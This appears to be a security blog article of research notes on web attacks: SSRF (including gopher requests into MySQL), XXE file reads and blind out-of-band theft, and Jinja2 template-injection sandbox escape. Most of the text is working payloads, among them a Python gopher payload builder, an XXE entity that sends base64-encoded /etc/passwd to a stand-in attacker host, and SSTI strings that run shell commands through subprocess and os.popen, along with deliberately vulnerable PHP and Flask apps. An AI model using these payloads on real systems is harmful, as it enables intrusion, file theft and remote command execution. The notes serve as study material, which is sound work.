Gravitational plate of three masses and a slashed discABC0Static engraved plate. Three-dimensional view is unavailable or reduced motion is requested.

← back to fieldarticle

articleDec 26, 2021

Web Application SSRF / XXE / SSTI Research Notes

Practical notes on SSRF (including gopher into MySQL), XXE (file read and blind OOB), and Jinja2 SSTI sandbox escape via MRO and subprocess.

SSRF overview

  • When a web app makes outbound requests, it can often hit ports on its own host or other hosts on the internal network.
  • Server-side request forgery is the attacker steering those requests at unintended servers and reading or changing data that never required the attacker's own credentials.
  • It looks a bit like CSRF, but the effect lands on the server, not the victim's browser.

Chaining with other bugs

  • Combined with other issues, SSRF can escalate to RCE:
    • XXE + SSRF
    • SSRF + CRLF injection
    • SSRF into Redis
    • SSRF into MongoDB

PHP SSRF example

  • App exposes a GET url parameter into PHP curl:
<?php
    $c_i = curl_init();
    curl_setopt($c_i, CURLOPT_URL, $_GET['url']);
    curl_setopt($c_i, CURLOPT_TIMEOUT, 5);
    curl_setopt($c_i, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($c_i, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($c_i, CURLOPT_FOLLOWLOCATION, FALSE);
    $result = curl_exec($c_i);
    curl_close($c_i);
?>
  • Hit an internal admin API:
# http://victim/?url=http://localhost/api/admin
  • Hit another internal service:
# http://victim/?url=http://localhost:8000/
  • Gopher for a raw TCP POST:
# http://victim/?url=gopher://localhost:8000/_POST%20HTTP/1.1%0d%0a

SSRF exploit techniques

Protocols useful in SSRF

  • http:// : HTTP
  • ftp:// : FTP
  • dict:// : RFC 2229 dictionary servers
  • sftp:// : SFTP
  • tftp:// : TFTP
  • ldap:// : directory servers (e.g. Java ES)
  • gopher:// : raw TCP
  • netdoc:// : pre-JDK9 network document URLs
  • file:// : local file read

PHP wrappers (PHP only)

# PHP://filter/convert.base64-encode/resource=파일 경로

Shipping HTTP over gopher

  • You can rebuild a full HTTP request and send it.
  • Shape:
gopher://<proxy-server>/_GET%20http://<attacker.jp:80>/EX%20HTTP/1.1%0d%0a
gopher://<proxy-server>/_POST%20http://<attacker.jp:80>/EX%20HTTP/1.1%0d%0aContent-Length:21%0d%0aCookie:%20c_s=1%0d%0adata={a:1}

Gopher HTTP (POST)

  • A normal POST:
POST /data HTTP/1.1\r\n
Content-Type:application/x-www-form-urlencoded\r\n
Content-Length:POST_BODY 길이\r\n
\r\n
POST_BODY
  • \r\n URL-encodes to %0d%0a.
  • You need Content-Length for the body to be sent.
  • Gopher skips the first byte after /, so pad with _ (or another filler):
gopher://127.0.0.1/ _POST%20/data%20HTTP/1.1%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0aContent-Length:%209%0d%0a%0d%0aPOST_BODY

Gopher HTTP (headers)

  • If the app gates on custom headers:
<?php
	if (isset($_SERVER['HTTP_XXXX']))
		echo "True";
?>
GET / HTTP/1.1\r\n
XXXX:1234\r\n\r\n
  • Example checks:
$_SERVER['REMOTE_ADDR'] === '127.0.0.1'
$_SERVER['HTTP_ADMIN'] === 'admin'
$_COOKIE['admin'] === 'admin'
$_POST['admin'] === 'admin'
  • Request sketch:
gopher://127.0.0.1:80/_POST /api/admin.php HTTP/1.1
Host: 127.0.0.1\r\n
ADMIN: admin\r\n
Cookie: admin=admin;\r\n
Connection: close\r\n
Content-Length: 11\r\n
Content-Type: application/x-www-form-urlencoded\r\n
\r\n
\r\n
admin=admin
  • Encoded gopher form:
gopher://127.0.0.1:80/_POST%20/api/admin.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aADMIN:%20admin%0d%0aCookie:%20admin=admin;%0d%0aConnection:%20close%0d%0aContent-Length:%2011%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0a%0d%0aadmin=admin

Hitting a database over gopher

Vulnerable sample app

<?php
    error_reporting(0);
 
    $conn = mysqli_connect('localhost', 'root', '', 'db_perpus');
 
    if (isset($_GET['source'])) {
        $source = $_GET['source'];
    } else {
        $source = '';
    }
 
    if (isset($_GET['url'])) {
        $result = 'Do Not Url..';
        $c_i = curl_init();
        curl_setopt($c_i, CURLOPT_URL, $_GET['url']);
        curl_setopt($c_i, CURLOPT_TIMEOUT, 5);
        curl_setopt($c_i, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($c_i, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($c_i, CURLOPT_FOLLOWLOCATION, FALSE);
        $result = curl_exec($c_i);
        curl_close($c_i);
    }
?>
<html>
<head>
    <title>gopher ssrf database</title>
    <meta charset="utf-8">
</head>
<body>
    <h1>gopher ssrf database</h1>
    <form action="" method="get">
        <input type="text" name="url" placeholder="url">
        <input type="submit" name="submit" value="submit">
    </form>
    <a href="?source">source</a>
    <hr>
    <?php echo $result?>
</html>
  • mysqli_connect shows host, user, empty password, and DB name.
  • Collect MySQL version and environment details first.
  • Because there is no password, reproduce login with only id/host and capture the wire packets:
mysql -h 127.0.0.1 -u root

Gopher Wireshark
Gopher Wireshark

Building the gopher payload

dump = raw_input("Give connection packet of mysql: ")
query = raw_input("Give query to execute: ")
 
auth = dump.replace("\n","")
 
def encode(s):
    a = [s[i:i + 2] for i in range(0, len(s), 2)]
    return "gopher://127.0.0.1:3306/_%" + "%".join(a)
 
def get_payload(query):
    if(query.strip()!=''):
    	query = query.encode("hex")
    	query_length = '{:x}'.format((int((len(query) / 2) + 1)))
    	pay1 = query_length.rjust(2,'0') + "00000003" + query
    	final = encode(auth + pay1 + "0100000001")
    	return final
    else:
	return encode(auth)
 
print "\nYour gopher link is ready to do SSRF : \n"
print get_payload(query)
  • Send the resulting link; auth completes and the query runs.
gopher://127.0.0.1:3306/_%25%00%00%01%85%a6%03%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%63%61%74%00%00%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%40%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%3b%01%00%00%00%01%25%00%00%01%85%a6%03%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%63%61%74%00%00%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%40%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%74%61%62%6c%65%5f%6e%61%6d%65%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%3b%01%00%00%00%01'
  • Useful follow-up queries:
select @@version_comment limit 1@ select group_concat(table_name) from information_schema.tables;
 
SELECT * FROM Information_schema.tables WHERE table_schema = 'admin' AND table_name = 'flag';
 
admin flag BASE TABLEInnoDB 10
 
select table_name,column_name from information_schema.columns where table_schema = 'admin' and table_name = "admin";
 
use admin;select * from flag;

XXE overview

  • When an app parses XML, an attacker can inject entities that disclose server files or pivot into SSRF.
  • Not limited to web forms: OOXML formats (pptx, xlsx, docx) parse XML too.

XML?

  • Extensible Markup Language — a W3C data-exchange format.
  • Starts with <?xml version="1.0" encoding="UTF-8"?>; tags are user-defined.
  • Programs load stored XML through a parser.
<?xml version="1.0" encoding="UTF-8"?>
<userInfo>
	<email>kevin@nasa.gov</email>
	<firstName>Kevin</firstName>
	<lastName></lastName>
</userInfo>

XML External Entity injection

  • If the parser resolves external entities, attacker-controlled DTD content is processed.
  • Reference a declared entity with &name;.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY xxe "Uee">]>
<userInfo>
	<email>kevin@nasa.gov</email>
	<firstName>Kevin</firstName>
	<lastName>&xxe;</lastName>
</userInfo>
정상 결과
Email : kevin@nasa.goc
FirstName : Kevin
LastName :
 
XXE 공격 수행 결과
Email : kevin@nasa.goc
FirstName : Kevin
LastName : Uee
  • Seeing Uee in the response is a strong signal that a higher-impact XXE is in reach.

What XXE can buy you

  • File read (file://, php://)
  • SSRF (port scan, HTTP GET, …)
  • DoS (entity expansion / memory exhaustion)
  • RCE in some stacks (jar://, XXE+SSRF via gopher://)

XXE file read

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file://etc/passwd">]>
<userInfo>
	<email>kevin@nasa.gov</email>
	<firstName>Kevin</firstName>
	<lastName>&xxe;</lastName>
</userInfo>
  • Raw file content with < / > can break the XML response; wrap with a base64 PHP filter:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<userInfo>
	<email>kevin@nasa.gov</email>
	<firstName>Kevin</firstName>
	<lastName>&xxe;</lastName>
</userInfo>

Blind XXE

  • When the parser resolves entities but the response never echoes them, exfiltrate out-of-band.
payload.xml
 
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.jp/data?=%data;'>"> %eval;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob SYSTEM "http://attacker.jp/payload.xml"> % oob;]>
<userInfo>
	<email>kevin@nasa.gov</email>
	<firstName>Kevin</firstName>
	<lastName>&exfil;</lastName>
</userInfo>
  • The attacker server's access log shows the base64 blob:
GET /data?bidF3123232oij== HTTP/1.0

SSTI overview

  • Template engines fill predefined HTML templates with dynamic values ({{2*3}}, ${2*3}, and so on).
  • If user input lands in the template source rather than a safe context, the engine evaluates attacker-controlled template syntax — that is SSTI.

Server-side template injection

Example (Flask / Jinja2)

@app.route('/', methods=["GET", "POST"])
def root():
	user = request.args.get('user')
	if not user:
		user = 'guest'
	t_plate = '''<h1>So Good! %s'''%user
	return render_template_string(t_plate)
{{ Code }}
 
{{ 7 * 7 }} -----------Rendering--------> 49
  • Built-ins like config dump application settings:
{{config}} # application settings object
 
= Rendering =
 <Config {'JSON_AS_ASCII': True,
    'USE_X_SENDFILE': False,
    'SESSION_COOKIE_SECURE': False,
    'SESSION_COOKIE_PATH': None,
    'SESSION_COOKIE_DOMAIN': False,
    'SESSION_COOKIE_NAME': 'session',
    'MAX_COOKIE_SIZE': 4093,
    'SESSION_COOKIE_SAMESITE': None,
    'PROPAGATE_EXCEPTIONS': None,
    'ENV': 'production',
    'DEBUG': True,
    'EXPLAIN_TEMPLATE_LOADING': False,
    'MAX_CONTENT_LENGTH': None,
    'APPLICATION_ROOT': '/',
    'SERVER_NAME': None,
    'PREFERRED_URL_SCHEME': 'http',
    'JSONIFY_PRETTYPRINT_REGULAR': False,
    'TESTING': False,
    'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31),
    'TEMPLATES_AUTO_RELOAD': None,
    'TRAP_BAD_REQUEST_ERRORS': None,
    'JSON_SORT_KEYS': True,
    'JSONIFY_MIMETYPE': 'application/json',
    'SESSION_COOKIE_HTTPONLY': True,
    'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200),
    'PRESERVE_CONTEXT_ON_EXCEPTION': None,
    'SESSION_REFRESH_EACH_REQUEST': True,
    'TRAP_HTTP_EXCEPTIONS': False}> !!!

SSTI sandbox escape

  • Direct calls like open('/etc/passwd', 'rb').read() are often blocked.
  • Escape by walking MRO to find usable classes.

Method Resolution Order (MRO)

  • The order Python searches for methods in a class hierarchy.
  • Exposes related types.

SSTI MRO

{{''.__class__.__mro__}}
  • Typically yields str, basestring, object. Dump subclasses of object:
{{''.__class__.__mro__[2].__subclass__()}}
  • From that list, pick the file type at index n:
{{''.__class__.__mro__[2].__subclass__()[n]}} # => <type 'file'>
{{''.__class__.__mro__[2].__subclass__()[n].open('/etc/passwd/').read()}}

File read / exec via MRO

  • Prefer subprocess.Popen for command execution (Shell=True defaults to /bin/sh on POSIX). Use communicate() so timeouts do not leave orphans.
{{''.__class__.__mro__[2].__subclasses__()[n]('cat flag', shell=True, stdout=-1).communicate()}}
 
{{config.__class__.__init__.__globals__['os'].popen('flag').read()}}
 
{{''.__class__.__mro__[2].__subclasses__()[n]('flag', shell=True, stdout=-1).communicate()}}

related

  1. Dec 25, 2021/archiveWeb application RCE patterns
  2. Dec 31, 2021/articleCloud Service Vulnerability Lab 4 (CloudGoat: Cloud Breach S3)
  3. Dec 31, 2021/articleCloud Vulnerability Lab 6 (CloudGoat: EC2 SSRF)

graphfeed